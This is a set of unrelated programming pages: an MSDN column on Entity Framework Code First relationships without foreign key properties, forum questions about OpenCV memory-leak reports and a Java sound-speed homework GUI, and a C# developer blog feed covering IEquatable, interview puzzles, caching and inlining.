Rather than only showing you the proper code, I’ll use this column to help you understand the EF behavior so you can apply this knowledge to the many scenarios you may encounter when designing your classes or writing your data access code with EF APIs.
Code First convention is able to detect and correctly infer various relationships with varying combinations of properties in your classes. In this example, which I’m writing as the leaves are turning spectacular colors on trees near my home in Vermont, I’ll use Tree and Leaf as my related classes. For a one-to-many relationship, the simplest way you could describe that in your classes and have Code First recognize your intent is to have a navigation property in the Tree class that represents some type of collection of Leaf types. The Leaf class needs no properties pointing back to Tree. Figure 1 shows the Tree and Leaf classes.
Figure 1 Related; } }
By convention, Code First will know that a foreign key is required in the database in the Leaf table. It will presume a foreign key field name to be “Tree_TreeId,” and with this information provided in the metadata created by Code First at run time, EF will understand how to work out queries and updates using that foreign key. EF leverages this behavior by relying on the same process it uses with “independent associations”—the only type of association we could use prior to the Microsoft .NET Framework 4—which don’t require a foreign key property in the dependent class.
This is a nice, clean way to define the classes when you’re confident that you have no need to ever navigate from a Leaf back to its Tree in your application. However, without direct access to the foreign key, you’ll need to be extra diligent when coding.
Creating New Dependent Types Without Foreign Key or Navigation Properties
Although you can easily use these classes to display a tree and its leaves in your ASP.NET MVC application and edit leaves, developers often encounter issues creating new leaves in a typically architected MVC app. I used the template from the MVCScaffolding NuGet package (mvcscaffolding.codeplex.com) to let Visual Studio automatically build my controllers, views and simple repositories by selecting “MvcScaffolding: Controller with read/write action and views, using repositories.” Note that because there’s no foreign key property in the Leaf class, the scaffolding templates won’t recognize the one-to-many relationship. I made some minor changes to the views and controllers to allow a user to navigate from a tree to its leaves, which you can see in the sample download.
The Create postback action for Leaf takes the Leaf returned from the Create view and tells the repository to add it and then save it, as shown in Figure 2.
Figure 2 Adding and Saving Leaf to the Repository
[HttpPost] public ActionResult Create(Leaf leaf) { if (ModelState.IsValid) { leafRepository.InsertOrUpdate(leaf); leafRepository.Save(); return RedirectToAction("Index", new { treeId = Request.Form["TreeId"] }); } else { return View(); } }
The repository takes the leaf, checks to see if it’s new and if so, adds it to the context instance that was created as a result of the postback:
public void InsertOrUpdate(Leaf leaf,int treeId){ if (leaf.LeafId == default(int)) { // New entity context.Leaves.Add(leaf); } else { // Existing entity context.Entry(leaf).State = EntityState.Modified; } }
When Save is called, EF creates an Insert command, which adds the new leaf to the database:
exec sp_executesql N'insert [dbo].[Leaves]([FellFromTreeDate], [FellFromTreeColor], [Tree_TreeId]) values (@0, @1, null) select [LeafId] from [dbo].[Leaves] where @@ROWCOUNT > 0 and [LeafId] = scope_identity()', N'@0 datetime2(7),@1 nvarchar(max) ', @0='2011-10-11 00:00:00',@1=N'Pale Yellow'
Notice the values passed in on the second line of the command: @0 (for the date); @1 (for the modified color); and null. The null value is destined for the Tree_TreeId field. Remember that the nice, clean Leaf class has no foreign key property to represent the TreeId, so there’s no way to pass that value in when creating a standalone leaf.
When the dependent type (in this case, Leaf) has no knowledge of its principal type (Tree), there’s only one way to do an insert: The Leaf instance and the Tree instance must be added to the context together as part of the same graph. This will provide EF with all the information it needs to work out the correct value to insert into the database foreign key (for example, Tree_TreeId). But in this case, where you’re working only with the Leaf, there’s no information in memory for EF to determine the value of the Tree’s key property.
If you had a foreign key property in the Leaf class, life would be so much simpler. It’s not too difficult to keep a single value at hand when moving between controllers and views. In fact, if you look at the Create action in Figure 2, you can see that the method has access to the value of the TreeId for which the Leaf is being created.
There are a number of ways to pass data around in MVC applications. I chose the simplest for this demo: stuffing the TreeId into the MVC ViewBag and leveraging Html.Hidden fields where necessary. This makes the value available as one of the view’s Request.Form items.
Because I have access to the TreeId, I’m able to build the Tree/Leaf graph that will provide the TreeId for the Insert command. A quick modification to the repository class lets the InsertOrUpdate method accept that TreeId variable from the view and retrieves the Tree instance from the database using the DbSet.Find method. Here’s the affected part of the method:
public void InsertOrUpdate(Leaf leaf,int treeId) { if (leaf.LeafId == default(int)) { var tree=context.Trees.Find(treeId); tree.Leaves.Add(leaf); } ...
The context is now tracking the tree and is aware that I’m adding the leaf to the tree. This time, when context.SaveChanges is called, EF is able to navigate from the Leaf to the Tree to discover the key value and use it in the Insert command.
Figure 3 shows the modified controller code using the new version of InsertOrUpdate.
Figure 3 The(); } }
With these changes, the insert method finally has the value for the foreign key, which you can see in the parameter called “@2”:
exec sp_executesql N'insert [dbo].[Leaves]([FellFromTreeDate], [FellFromTreeColor], [Tree_TreeId]) values (@0, @1, @2) select [LeafId] from [dbo].[Leaves] where @@ROWCOUNT > 0 and [LeafId] = scope_identity()', N'@0 datetime2(7),@1 nvarchar(max) , @2 int',@0='2011-10-12 00:00:00',@1=N'Orange-Red',@2=1
In the end, this workaround forces me to make another trip to the database. This is the price I’ll choose to pay in this scenario where I don’t want the foreign key property in my dependent class.
Problems with Updates When There’s No Foreign Key
There are other ways you can paint yourself into a corner when you’re bound and determined not to have foreign key properties in your classes. Here’s another example.
I’ll add a new domain class named TreePhoto. Because I don’t want to navigate from this class back to Tree, there’s no navigation property, and again, I’m following the pattern where I don’t use a foreign key property:
[Table("TreePhotos")] public class TreePhoto { public int Id { get; set; } public Byte[] Photo { get; set; } public string Caption { get; set; } }
The Tree class provides the only connection between the two classes, and I specify that every Tree must have a Photo. Here’s the new property that I added to the Tree class:
[Required] public TreePhoto Photo { get; set; }
This does leave the possibility of orphaned photos, but I use this example because I’ve seen it a number of times—along with pleas for help—so I wanted to address it.
Once again, Code First convention determined that a foreign key property would be needed in the database and created one, Photo_Id, on my behalf. Notice that it’s non-nullable. That’s because the Leaf.Photo property is required (see Figure 4).
Figure 4 Using Code First Convention, Tree Gets a Non-Nullable Foreign Key to TreePhotos
.png)
Your app might let you create trees before the photos have been taken, but the tree still needs that Photo property to be populated. I’ll add logic into the Tree repository’s InsertOrUpdate method to create a default, empty Photo for new Trees when one isn’t supplied:
public void InsertOrUpdate(Tree tree) { if (tree.TreeId == default(int)) { if (tree.Photo == null) { tree.Photo = new TreePhoto { Photo = new Byte[] { 0 }, Caption = "No Photo Yet" }; } context.Trees.Add(tree); } ...
The bigger problem I want to focus on here is how this issue affects updates. Imagine you have a Tree and its required Photo already stored in the database. You want to be able to edit a Tree and have no need to interact with the Photo. You’ll retrieve the Tree, perhaps with code such as “context.Trees.Find(someId).” When it’s time to save, you’ll get a validation error because Tree requires a Photo. But Tree has a photo! It’s in the database! What’s going on?
Here’s the problem: When you first execute a query to retrieve the table, ignoring the related Photo, only the scalar values of the Tree will be returned from the database and Photo will be null (see Figure 5).
Figure 5 A Tree Instance Retrieved from the Database Without Its Photo
.png)
Both the MVC Model Binder and EF have the ability to validate the Required annotation. When it’s time to save the edited Tree, its Photo will still be null. If you’re letting MVC perform its ModelState.IsValid check in the controller code, it will recognize that Photo is missing. IsValid will be false and the controller won’t even bother calling the repository. In my app, I’ve removed the Model Binder validation so I can let my repository code be responsible for any server-side validation. When the repository calls SaveChanges, EF validation will detect the missing Photo and throw an exception. But in the repository, we have an opportunity to handle the problem.
If the Tree class had a foreign key property—for example, int PhotoId—that was required (allowing you to remove the requirement on the Photo navigation property), the foreign key value from the database would’ve been used to populate the PhotoId property of the Tree instance. The tree would be valid, and SaveChanges would be able to send the Update command to the database. In other words, if there were a foreign key property, the Tree would have been valid even without the Photo instance.
But without the foreign key, you’ll again need some mechanism for providing the Photo before saving changes. If you have your Code First classes and context set up to perform lazy loading, any mention of Photo in your code will cause EF to load the instance from the database. I’m still somewhat old-fashioned when it comes to lazy loading, so my personal choice would probably be to perform an explicit load from the database. The new line of code (the last line in the following example, where I’m calling Load) uses the DbContext method for loading related data:
public void InsertOrUpdate(Tree tree) { if (tree.TreeId == default(int)) { ... } else { context.Entry(tree).State = EntityState.Modified; context.Entry(tree).Reference(t => t.Photo).Load(); } }
This makes EF happy. Tree will validate because Photo is there, and EF will send an Update to the database for the modified Tree. The key here is that you need to ensure the Photo isn’t null; I’ve shown you one way to satisfy that constraint.
A Point of Comparison
If the Tree class simply had a PhotoId property, none of this would be necessary. A direct effect of the PhotoId int property is that the Photo property no longer needs the Required annotation. As a value type, it must always have a value, satisfying the requirement that a Tree must have a Photo even if it isn’t represented as an instance. As long as there’s a value in PhotoId, the requirement will be satisfied, so the following code works:
public class Tree { // ... Other properties public int PhotoId { get; set; } public TreePhoto Photo { get; set; } }
When the controller’s Edit method retrieves a Tree from the database, the PhotoId scalar property will be filled. As long as you force MVC (or whatever application framework you’re using) to round-trip that value, when it’s time to update the Tree, EF will be unconcerned about the null Photo property.
Easier, but Not Magic
Although the EF team has provided more API logic to help with disconnected scenarios, it’s still your job to understand how EF works and what its expectations are when you’re moving data around. Yes, coding is much simpler if you include foreign keys in your classes, but they’re your classes and you’re the best judge of what should and shouldn’t be in them. Nevertheless, if your code was my responsibility, I would surely force you to convince me that your reasons for excluding foreign key properties outweighed the benefits of including them. EF will do some of the work for you if the foreign keys are there. But if they’re absent, as long as you understand what EF expects and how to satisfy those expectations, you should be able to get your disconnected applications to behave the way you want.) and “Programming Entity Framework: Code First” (2011), both from O’Reilly Media. Follow her on Twitter at twitter.com/julielerman.
Thanks to the following technical experts for reviewing this article: Jeff Derstadt and Rick Strahl
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https://docs.microsoft.com/en-us/archive/msdn-magazine/2012/january/data-points-making-do-with-absent-foreign-keys
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Why does this code snip produce memory leaks ?
Hi everybody,
I have a small program which uses Opencv library. And I do not know why it produce memory leaks. Here is the all program code:
#include <opencv2\opencv.hpp> #include <opencv2\highgui\highgui.hpp> #define _CRTDBG_MAP_ALLOC #include <stdlib.h> #include <crtdbg.h> #ifdef _DEBUG #ifndef DBG_NEW #define DBG_NEW new ( _NORMAL_BLOCK , __FILE__ , __LINE__ ) #define new DBG_NEW #endif #endif // _DEBUG class C { public: C(); ~C(); void Test(); }; void C::Test() { IplImage * image = cvCreateImage(cvSize(640, 680), 8, 3); cvReleaseImage(&image); image = NULL; } int main(int argc, char** argv) { _CrtDumpMemoryLeaks(); } And here is the Output window: 'CVSample.exe': Loaded 'C:\Windows\System32\imm32.dll', Cannot find or open the PDB file 'CVSample.exe': Loaded 'C:\Windows\System32\msctf.dll', Cannot find or open the PDB file Detected memory leaks! Dumping objects -> {135} normal block at 0x00454B18, 29 bytes long. Data: < (KE /KE > 00 00 00 00 28 4B 45 00 2F 4B 45 00 00 00 00 00 {134} normal block at 0x00454AA0, 57 bytes long. Data: < ( (JE > 00 00 00 00 28 00 00 00 00 00 00 00 28 4A 45 00 {133} normal block at 0x00454A28, 54 bytes long. Data: < ( JE IE > 00 00 00 00 28 00 00 00 A0 4A 45 00 B0 49 45 00 {132} normal block at 0x004549B0, 53 bytes long. Data: < ( (JE 0IE > 00 00 00 00 28 00 00 00 28 4A 45 00 30 49 45 00 {131} normal block at 0x00454930, 61 bytes long. Data: < ( IE HE > 00 00 00 00 28 00 00 00 B0 49 45 00 B8 48 45 00 {130} normal block at 0x004548B8, 53 bytes long. Data: < ( 0IE 8HE > 00 00 00 00 28 00 00 00 30 49 45 00 38 48 45 00 {129} normal block at 0x00454838, 61 bytes long. Data: < ( HE GE > 00 00 00 00 28 00 00 00 B8 48 45 00 C0 47 45 00 {128} normal block at 0x004547C0, 56 bytes long. Data: < ( 8HE > 00 00 00 00 28 00 00 00 38 48 45 00 00 00 00 00 Object dump complete. The program '[2620] CVSample.exe: Native' has exited with code 0 (0x0).
I do not know why ? please help ?
Please, try to create C object in main function and call Test method in cycle. In task manager you can see a memory, consumed by your program. Is this amount increasing with time?
These leaks are spurious: the program does nothing, and they only amount to a few hundred bytes, once-off, before the call to main(). The only use of this list is to compare against the leaks that show up just before the program terminates so that you can work out which of them are occurring in your own code.
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https://answers.opencv.org/question/3685/why-does-this-code-snip-produce-memory-leaks/
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Design a class that stores in a distance field, in feet, traveled by a sound wave. The class should have the appropriate accessor and mutator methods for this field. In addition, the class should have the following methods:
getSpeedInAir. This method should return the number of seconds it would take a sound wave to travel, in air, the distance stored in the distance field. The formula to calculate the amount of time it will take the sound wave to travel the specified distance in air is:
Time= distance/1100
getSpeedInWater. This method should return the number of seconds it would take a sound wave to travel, in water, the distance stored in the distance field. The formula to calculate the amount of time it will take the sound wave to travel the specified distance in water is:
Time= distance/4900
getSpeedInSteel.This method should return the number of seconds it would take a sound wave to travel, in steel, the distance stored in the distance field. The formula to calculate the amount of time it will take the sound wave to travel the specified distance in steel is:
Time= distance/16400
this is the code i wrote for the program
/** Lab 4 * This is Lab Assignment 4 located on page 258 problem number 9. * The following program will ask the user to enter "air", "water", or "steel", * And the distance that a sound wave will in that perticular medium. * After that the program will display the amount of time it will take. * This program is designed by "Divy Tolia" */ public class DTSpeed {// Begin class private double distance; //the distance the sound traveled //Constructor public DTSpeed (double dist) { distance=dist; } /** set method to appropriate name */ public void setDistance(double dist) { distance = dist; } /** get method and return value of distance */ public double getDistance() { return distance; } /** get time methods */ public double gettimeinAir() { return distance/1100; } public double gettimeinWater() { return distance/4900; } public double gettimeinSteel() { return distance/16400; } } // End class
Here is the program with GUI:
import java.util.Scanner; //needed for the scannner class import javax.swing.JOptionPane;// For GUI import java.text.DecimalFormat; //needed to format the Output import javax.swing.JFrame;//needed for the GUI import javax.swing.JDialog;//Needed for the GUI import java.awt.*;//GUI import java.awt.event.*;//GUI import javax.swing.*;//GUI /** *This is a SpeedDemo Class *It displays the speed of sound in different mediums */ public class DTSpeedOfSound { public static void main(String[] args) { JFrame frame = new JFrame ("frame"); String input; //To hold keyboard input String inputString; // For reader's input int choice; // To hold the keyboard input double dist = 0.0; // To Define the variable dist DecimalFormat formatter = new DecimalFormat("##0.00"); //To round the speed two digits after the decimal Scanner keyboard = new Scanner(System.in); //Create a scanner object to read input String[] choices = {"1.Air","2.Water","3.Steel","4.Quit"}; //Display key for choices JDialog.setDefaultLookAndFeelDecorated(true); Object[] selectionValues = {"Air", "Water", "Steel","Quit"}; String initialSelection = "Air"; String selection = JOptionPane.showInputDialog (null, "Your Choice Of Medium is ?", "Medium Choices", JOptionPane.QUESTION_MESSAGE, null, selectionValues, initialSelection); System.out.println(selection); // User Choice inputs and Dialog boxes inputString= JOptionPane.showInputDialog("What is the distance covered in feet? "); dist = Double.parseDouble (inputString) ; DTSpeed s = new DTSpeed (dist); //Determine which choice did the user make switch (choice) { case 1 :JOptionPane.showMessageDialog(null,"The time in Air:\n"+ formatter.format(s.gettimeinAir())+"s" + " for a distance of "+ dist +"ft"); break; case 2 :JOptionPane.showMessageDialog(null,"The time in Water: \n"+ formatter.format(s.gettimeinWater())+"s" + " for a distance of "+ dist +"ft"); break; case 3 :JOptionPane.showMessageDialog(null,"The time in Steel: \n"+ formatter.format(s.gettimeinSteel())+"s" + " for a distance of "+ dist +"ft"); break; case 4 :JOptionPane.showMessageDialog(null, "Have a Good Day.\n"+"Bye"); break; } }// End the main method }// End the class
Now how to i convert the object into a string for JOptionPane to work?
Please help me
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http://www.dreamincode.net/forums/topic/268375-speed-with-gui/
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tag:blogger.com,1999:blog-63499046220307914052012-03-21T11:51:26.409ZFrozzn SoftwareStrong opinions held looselycgreeno IEquatableSince Generics came along in C# 2.0 we have had a new interface to allow for type safe comparisons. That Interface is <a href="">IEquatable</a> which is a vast improvemnet over the previous <a href="">Equals </a>that was hung off object in the BCL. <br /><br />MSDN Says:<br /><br /><blockquote.<br /><br /.</blockquote><br />So how would I use IEquatable? I always liked using code to demonstrate.<br /><br /><pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code>public class IEquatableOverride<br />{<br /> private static Dictionary<Person,Person> ObjectDic = new Dictionary<Person,Person>();<br /> private static Dictionary<int, Person> IntDic = new Dictionary<int, Person>();<br /><br /><br /> public static void LoadDictionary()<br /> {<br /> Person p = new Person();<br /> p.PersonId = 101;<br /> p.<code>arrayList.Add(p);<br />Console.WriteLine("Can Find in ArrayList " + arrayList.Contains(p2));<br /></code></pre><br />Can anybody guess what the output of the above line will be? Yep you guessed it False. It is still using the old Object.Equals if we add this to our person class everything turns peachy.<br /><br /><pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code><br />public override bool Equals(object obj)<br /> {<br /> Person person = obj as Person;<br /> if (person == this)<br /> return true;<br /> if (person == null)<br /> return false;<br /><br /> if (person.First == this.First &&<br /> person.Last == this.Last &&<br /> person.Age == this.Age)<br /> return true;<br /><br /> return false;<br /> }<br /></code></pre><br />OK but what if we just use generic lists that implement IEquatable so I don't to worry about Object.Equals and I am using a primary key for my Dictionary key. So I am not going to bother with Overridding GetHashCode either.<br /><br />Nope wrong again, LinQ is also a friend to GetHashCode so even though I am currently not using LinQ functionality in my results if I ever chose to do so and used a method like Distinct or Group By I would not get the results I would expect. So in short even though we have our brand new fancy interface we need to be careful how we use it.<br /><br /><br />Further Reading:<br /><br />From <a href="">Jaredpar</a><br /><br /><a href="">CodeBetter</a><div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno seen this error message?<br /><br /><pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code>Unable to load type 'NHibernate.ByteCode.Castle.ProxyFactoryFactory, NHibernate.ByteCode.Castle'<br /> during configuration of proxy factory class. <br />Possible causes are: <br />- The NHibernate.Bytecode provider assembly was not deployed. <br />- The typeName used to initialize the 'proxyfactory.factory_class' <br />property of the session-factory section is not well formed.<br /><br />Solution: <br />Confirm that your deployment folder contains one of the following assemblies: <br />NHibernate.ByteCode.LinFu.dll <br />NHibernate.ByteCode.Castle.dll<br /></code></pre><br />Well after hours of searching I finally found that if I changed my target build from x86 to x64 the problem resolves itself. This has to go into my top 10 most annoying bugs of all time.<div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno then FizzBuzzAnyone that has done a few interviews has come to conclusion that a lot of people that apply for programming jobs <a href="">cant program.</a> In response to this usually the first question given to new applicants is a simple programming question like <a href="">fizzbuzz.</a> FizzBuzz is an interesting problem but there is a lot of other problems out there that are just as simple and can provide much more information. <br /><br /><a href=""><b>Collatz conjecture</b></a><br /><br />Take any natural number n (excluding 0). If n is even, halve it (n / 2), otherwise multiply it by 3 and add 1 to obtain 3n + 1. The conjecture is that for all numbers this process converges to 1. It has been called "Half Or Triple Plus One", sometimes called HOTPO.<br /><br /><pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code><br />public static void Calculate(Int64 val)<br />{<br /> if (val > 1)<br /> if (val % 2 == 0)<br /> Calculate(val / 2);<br /> else<br /> Calculate(val*3 + 1);<br />}<br /><br />public static void CalculateCollatz2(Int64 val)<br />{<br /> while(val != 1)<br /> {<br /> if (val % 2 == 0)<br /> val = val / 2;<br /> else<br /> val = val*3 + 1;<br /> }<br />}<br /></code></pre><br />This is one of my favourite tests, any programmer should be able to see in seconds that the very nature of this problem lends itself to a recursive solution. They <i>should</i> also see the obvious stackoverflow that is possible. Either solving this recursively(Calculate) or with an iterator(Calculate2) allows you to dig a little further into the candidates programming knowledge. <br /><br /><br /><b>Reversing a String</b><br /><br />Given a string reverse the output<br /><br /><pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code><br />public static string Reverse(string inValue)<br />{<br /> StringBuilder sb = new StringBuilder();<br /> foreach (char c in inValue.Reverse())<br /> sb.Append(c); <br /> <br /> return sb.ToString();<br />}<br /><br />public static string Reverse2(string inValue)<br />{<br /> int length = inValue.Length;<br /> char[] charArray = new char[length];<br /> foreach(char c in inValue)<br /> charArray[--length] = c;<br /> <br /> return new string(charArray);<br />}<br /><br />public static string Reverse3(string inValue)<br />{<br /> char[] charArray = inValue.ToCharArray();<br /> Array.Reverse(charArray);<br /> <br /> return new string(charArray);<br />}<br /><br />public static string Reverse4(string str)<br />{<br /> char[] charArray = str.ToCharArray();<br /> int len = str.Length - 1;<br /> <br /> for (int i = 0; i < len; i++, len--)<br /> {<br /> charArray[i] ^= charArray[len];<br /> charArray[len] ^= charArray[i];<br /> charArray[i] ^= charArray[len];<br /> }<br /> return new string(charArray);<br />}<br /></code></pre><br />This question is very open ended and leading. It is open enough to see if you can entice the candidate to ask some questions about the functions possible use. The result is equally as useful. Some will use the C# library(Reverse, Reverse3) to help themselevs out. Others, usually with a C++ background, will code it with a simple for loop like in Reverse2. If they are really creative they will do some XOR Bit Shifting(Reverse4) <a href="">(as I found demonstrated)</a>. Equally, the question can be used to lead to such things as Big O notation or memory footprints etc. It is possible to mix it up a little as well asking them to check if the string is a palindrome etc.<br /><br /><b>Two lists Problem</b><br /><br />Given two lists remove all the values from the first list that are present in the second list.<br /><br /><pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code>public static IEnumerable<int> ConvertList(List<int> inMain, List<int> inExclude)<br />{<br /> return inMain.Except(inExclude);<br />}<br /><br />public static List<int> ConvertList2(List<int> inMain, List<int> inExclude)<br />{<br /> foreach (var i in inExclude)<br /> inMain.Remove(i) ;<br /><br /> return inMain;<br />}<br /><br />public static List<int> ConvertList3(List<int> inMain, List<int> inExclude)<br />{<br /> bool found;<br /> List<int> newList = new List<int>();<br /> foreach (var im in inMain)<br /> {<br /> found = false;<br /> foreach (var ie in inExclude)<br /> {<br /> if (im == ie)<br /> found = true;<br /> <br /> }<br /> if(!found)<br /> newList.Add(im);<br /><br /> }<br /> return newList;<br />}<br /></code></pre><br />This is not my favourite question but a lot of candidates either wont be able to answer it or will come up with an implementation like shown in example 3 which is generally a bad sign. <br /><br /><b>Bonus</b><br />Given an Integer how would you store multiple boolean values.<br /><pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code><br />[Flags]<br />public enum Permissions<br />{<br /> Read = 1,<br /> Write = 2,<br /> Update = 4,<br /> RunScripts = 8,<br /> All = Read | Write | Update | RunScripts,<br />}<br /></code></pre><br />I really don't consider this a very good opening question but it <i>could</i> be asked at some point during the interview process to get an idea of overall knowledge.<br /><br />I think the idea behind FizzBuzz is a great one, however, if you are truly interested in not wasting time then it isn't enough to just find out if they can code a simple problem. You need to use that simple problem to extract as much information as possible in the shortest amount of time.<div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno you a Senior Developer?<span style="font-weight:bold;">Accountability in the Software Industry</span><br /><br />The general mentality of software industry is fundamentally flawed by arrogance, misunderstanding and lack of accountability. Making bad software is easy, anyone can do it. If you don't think you have ever done it, then you are still doing it. <br /><br /><b>Managers And Team Leaders</b><br /><br />Sadly the same thing that makes a good manager is what makes a bad one. Ego. It makes you believe in yourself and your ideas enough to make the tough architectural decisions that need to be made. However, bad managers have some additional traits. Usually they have been been working for the same company for a number of years and have some glorified self important title like "Chief Software Architect" or some BS like that. These people will generally have some over the top coding standards that force upon developers like still insisting they use <a href="">Hungarian notation</a> despite the fact you have been using C# or Java for the last 5 years because it was they used in University. This, however, is where the personalities diverge into 2 types. <br /><br />Personality 1(The Obsolete):<br /><br />The easiest way to spot these people is ask them what they think about the new [insert random technology reference]. They will NEVER know what you are talking about. They are the "Chief Software Architect" they don't need to know little things like what you can and cant do with a language, details details details. <br /><br />Personality 2(Loves Shiny Things):<br /><br />Personality two is a bit harder to spot, it requires some digging. Generally the easiest way to spot these people is ask them what they think about a new technology that they think they know quite well and see how they have chosen to implement it. They will usually have gone the route of early optimization, not have a clear understanding WHY and WHEN to use something. A little more digging will reveal that they also don't understand basic things like unit or integration testing and they are usually fond of a multi-threaded solution. <br /><br />Well both these people are responsible for not only creating bad software but the future generation of developers. These developers then leave and think that is how software development is meant to be done. Its creating a broken industry. <br /><br /><br /><span style="font-weight:bold;">Senior Developers</span><br /><br />How many industries do you know where your are considered "Senior" after 2 years. None. Its ridiculous to think that your are Senior anything after 2 years in any industry. Ego makes people want to achieve that goal as quickly as possible, and ego is what they gain from it. Arrogance and ignorance can be very dangerous. We are now in the age where writing bad software can kill people, lose millions and cause untold chaos. You know who is writing this software.... Senior Developers. <br /><br /><span style="font-weight:bold;">You Signed It</span><br /><br />Making good software is hard. It requires practice discipline and EDUCATION. Just like any other industry, the software industry should have a board and a apprenticeship program that requires you to understand industry practices that should be renewed every X number of years. If a building falls down who gets blamed? The Architect. If your new car breaks down who gets blamed? The Manufacturer. If your software doesn't work who do you blame? Blame yourself you signed the EULA.<div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno and F# Remapping the ShortcutsI installed F# the other day and when I went to fire up the interactive window I thought wait this seems really familiar... I am sure I use this command for something else, sure enough I was correct, it is a Resharper shortcut for quick edit.<br /><br />Fortunately, as of version 1.9.9, they have made the shortcut super easy to find by calling it <blockquote>EditorContextMenus.CodeWindow.SendToInteractive</blockquote>In version 1.9.4 it WAS called <blockquote>Microsoft.Fsharp.Compiler.VSFSI.Connecdt.ML.SendSelection </blockquote>but I guess having the words FSharp in the name made it too easy to identify. If you too need to remap it go to Tools --> Options --> Environment --> Keyboard and type "SendTo" or "SendLine" to remap your F# interactive shortcut!<div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno to use a Window ServicesWhy does everything need to be a service? Almost every company I have worked for has requested some kind of automated process. Anything from a nightly ftp upload to cleaning up some DB records. Sure enough someone always suggests a windows service. <br /><br />Windows says a service is:<br /><blockquote.</blockquote><br /><br /><br />Console App and the Windows Scheduler <br />Windows has a built in scheduler that is perfect for TIMED jobs, that in combination with the a simple console app is perfect for these types of requests. Simple to build, simple to debug, simple to deploy and simple to maintain. What asset does it bring to the business to create a Service? Most of the time the person doing the recommending either doesn't really know what a service is for or they are just attempting to challenge themselves? Console apps are so much better in most cases. You can kick off a console app whenever you want, you can change it and work with it on the fly, rerun it whenever you want, and generally speaking you are going have a harder time accidental bringing down a server with a console app <br /><br />99% of the time a console app is going to be less intense on the server then a service especially if that service is poorly written, like the person that suggests we build a service with a timer to kick off processes, probably should not be your first choice of someone to take advice from. <br /><br />Windows Services <br />Windows Services can be very useful and necessary but like everything it needs to be used when the business needs actually justify it. If you need to monitor a directory, use a service. If something on the server needs to up and running at all times, use a service. Services do have some built in advantages over a console app such as failure recovery. Such as "do nothing", "restart the service", "run a different app" or "restart the computer". I personally love the restart the computer option. <br /><br />Both Windows Services and console/windows scheduler have their place just be sure you have a think about what you really need and how much business value the service your itching to build really brings.<div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno in .NETAs applications grow it is quite normal to leverage caching as a way to gain scalability and keep consistent server response times. Caching works by storing data in memory to drastically decrease access times. To get started I would look at ASP.NET caching.<br /><br />There are 3 types of general Caching techniques in ASP.NET web apps:<br /><br />Page Output Caching(Page Level)<br />Page Partial-Page Output(Specific Elements of the page)<br />Programmatic or Data Caching<br /><br /><b>Output Caching<br /></b><br />Page level output caching caches the html of a page so that each time ASP.NET page requested it checks the output cache first. You can vary these requests by input parameters(<a href="">VaryByParam</a>) so the the page will only be cached for users where ID=1 if a requests come in where ID=2 asp.net cache is smart enough to know it needs to re-render the page.<br /><br /><b>Partial-Page Caching</b><br /><br />a lot of times it wont make sense to cache the entire page in these circumstances you can use partial Page caching. This is usually used with user controls and is set the same way as page level only adding the OutputCache declarative inside the usercontrol.<br /><br /><b>Data Caching<br /></b><br />You can store objects or values that are commonly used throughout the application. It can be as easy to as:<br /><br />Cache["myobject"] = person;<br />Enterprise Level Caching<br /><br />It is worth mention that there are many Enterprise level caching architectures that have come about to leverage the effectiveness caching. <a href="">Memcache </a>for .net and <a href="">Velocity </a>are a couple.<br /><br /><b>In General</b><br /><br />You can't really make blanket statements on what you should and shouldn't cache because every application is different. However, you can make a few generalizations that hold true MOST of time. Static elements like images and content are OK to cache. Even a dynamic page that is getting hammered is worth caching for 5-10 seconds, it will make a world of difference to your web server.<br /><br /><a href="">Caching overview</a><div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno Functions in C#<span style="font-weight: bold;">What are They?</span><br /><br />In the terms of C and C++ you use the inline keyword to tell the compiler to call a routine without the overhead of pushing parameters onto the stack. The Function instead has it's machine code inserted into the function where it was called. This can create a significant increase in performance in certain scenarios.<br /><br /><br /><span style="font-weight: bold;">Dangers</span><br /><br />The speed benefits in using "inlineing" decrease significantly as the size of the inline function increases. Overuse can actaully cause a program to run slower. Inlining a very small accessor function will usually decrease code size while inlining a very large function can dramatically increase code size.<br /><br /><br /><span style="font-weight: bold;">Inlining in C#</span><br /><br />In C# inlining happens at the JIT level in which the JIT compiler makes the decision. There is currently no mechanism in C# which you can explicitly do this. If you wish to know what the JIT compiler is doing then you can call System.Reflection.MethodBase.GetCurrentMethod().Name at runtime. If the Method is inlined it will return the name of the caller instead.<br /><br />In C# you cannot force a method to inline but you can force a method not to. If you really need access to a specific callstack and you need to remove inlining you can use : <span id="nsrTitle"><strong>MethodImplAttribute</strong></span> with <strong>MethodImplOptions.NoInlining</strong>. In addition if a method is declared as virtual then it will also not be inlined by the JIT. The reason behind this is that the final target of the call is unknown.<br /><br /><a href="">More on inline here</a><div class="blogger-post-footer"><img width='1' height='1' src='' alt='' /></div>cgreeno Evils of regions#regionI still remember when I first used the region field, it was a happier time, I was blissfully unaware of the problems that regionalizing your code was creating, I think everyone was. I 